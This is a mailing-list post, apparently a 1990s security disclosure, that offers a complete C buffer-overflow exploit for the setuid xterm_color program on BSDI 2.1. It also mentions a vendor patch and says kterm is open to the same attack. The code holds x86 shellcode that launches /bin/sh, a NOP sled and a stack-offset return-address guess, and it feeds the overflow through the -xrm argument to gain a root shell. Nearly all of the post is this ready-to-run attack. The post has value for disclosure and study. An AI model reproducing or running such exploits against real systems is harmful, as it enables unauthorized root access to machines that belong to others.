Hi,
try this exploit, it works on BSDI 2.1 and I think that it works
in older versions too.
The patch from BSDI which fixes security problems with X11 library
on BSDI 2.1 has number U210-041.
This exploit is based on exploit of bug in Linux - color_xterm
which was here some time ago.
bye
pukvis
PS: exploit of kterm is the same, but you must rewrite paths.
- --- here is xterm_color expoit ---
/*
xterm_color buffer overflow exploit for BsDi ... tested on BsDi 2.1
pukvis
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#define XTERM_COLOR_PATH "/usr/X11R6/bin/xterm_color"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50
#define NOP_SIZE 1
char nop[] = "\x90";
char shellcode[] =
"\xeb\x23"
"\x5e"
"\x8d\x1e"
"\x89\x5e\x0b"
"\x31\xd2"
"\x89\x56\x07"
"\x89\x56\x0f"
"\x89\x56\x14"
"\x88\x56\x19"
"\x31\xc0"
"\xb0\x3b"
"\x8d\x4e\x0b"
"\x89\xca"
"\x52"
"\x51"
"\x53"
"\x50"
"\xeb\x18"
"\xe8\xd8\xff\xff\xff"
"/bin/sh"
"\x01\x01\x01\x01"
"\x02\x02\x02\x02"
"\x03\x03\x03\x03"
"\x9a\x04\x04\x04\x04\x07\x04";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc,char **argv)
{
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int i,OffSet = DEFAULT_OFFSET;
if (argc>1) OffSet = atoi(argv[1]);
buff = malloc(2048);
if(!buff)
{
printf("mA1o pJaMJeti !!!\n");
exit(0);
}
ptr = buff;
for (i = 0; i <= BUFFER_SIZE - strlen(shellcode) - NOP_SIZE;
i+=NOP_SIZE) {
memcpy (ptr,nop,NOP_SIZE);
ptr+=NOP_SIZE;
}
for(i=0;i < strlen(shellcode);i++)
*(ptr++) = shellcode[i];
addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_sp() + OffSet;
ptr = (char *)addr_ptr;
*ptr = 0;
(void) fprintf(stderr,
"try if it goes - check your id\n");
execl(XTERM_COLOR_PATH, "xterm_color", "-xrm",buff, NULL);
}
- --- end of xterm_color exploit ---
- --
====== ____ = Ladislav Bukvicka ======
===== / / / ___ ___ _/_ == Pod Sancemi 441/1 =====
==== /---- / / / / /___/ / === Prague 9,Czech Rep. ====
=== /____ /___/ / / /___ / ==== fax:+420(2) 66313404 ===
== ===== tel.:+420(2) 66008161 ==
= Connecting Europe since 1982 ====== e-mail:pukvis@eunet.cz =
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: ascii
iQCVAwUBNE7vZyWGrQpNBKPlAQH1BgP+MNHCxUJJ3/9tR/mgZhCbrBM1yhmWp1FV
U25Wt9tzWeQofpy+7kQB9tKQw9hrSroe9EtVxCj6UHFMN5Z3qLPEw/5QA1TkIW07
jpe4+kZTQkU2MemCshw1jAbKLsrfv8qc4OvY+tE7ZKpnq95KQ4BMsWiqCLAAwKb/
R0ghchb82Ew=
=vsfP
-----END PGP SIGNATURE-----